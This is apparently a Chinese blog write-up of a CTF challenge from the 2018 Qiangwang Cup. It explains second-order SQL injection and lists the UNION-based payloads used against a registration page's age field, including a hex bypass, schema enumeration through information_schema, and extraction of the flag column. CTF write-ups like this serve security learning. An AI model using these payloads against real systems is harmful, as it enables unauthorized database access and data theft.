记一次有趣的二次注入

web CTF

字数统计: 385阅读时长: 1 min

 2018/03/29   Share

上周强网杯和安恒杯结束了，一直没有时间整理比赛中学习的知识，其实会做的题也不多，但学习的确实挺多，今天就来聊聊强网杯的一道较为简单的注入题。
题目是一道二次注入类型。二次注入是为了预防SQL注入攻击，而将输入到应用程序中的某些数据进行了“转义（escape）”，但是这些数据却又在“未被转义（Unescaped）”的查询窗体中重复使用。例如下面这道题目：
刚开始就给你一个注册页面，注册发现age参数存在注入点

由于要求age必须为数字便采用hex绕过。随后便是常规的注入手法。

先判断列数：

1	222 order by x# //x为数字

随后发现222 union select 1,2,3,4#依旧只有第一个参数有回显，便用and 1=2把222的参数回显注释掉

1
2
3

222 and 1=2 union select 1,2,3,4# //发现联合查询的第二个参数有回显
222 and 1=2 union select 1,table_name,3,4 from information_schema.tables where table_schema=database()# //表名
222 and 1=2 union select 1,column_name,3,4 from information_schema.columns where table_schema=database()#  //列名

得到表名和列名都是flag。接下来字段：

1	222 and 1=2 union select 1,flag,3,4 from flag#

拿到flag。
这次强网杯比赛中学到了新的注入姿势，和队友的比赛时也学到了其他许多东西。下次聊聊php弱类型，还有常见的php类型绕过。

原文作者：Zer0e

原文链接：https://re0.top/2018/03/29/second-sqli/

发表日期：三月 29日 2018, 8:22:00 晚上

更新日期：November 14th 2018, 5:38:07 pm

Next Post

PHP弱类型总结
Previous Post

单向链表的学习

CATALOG

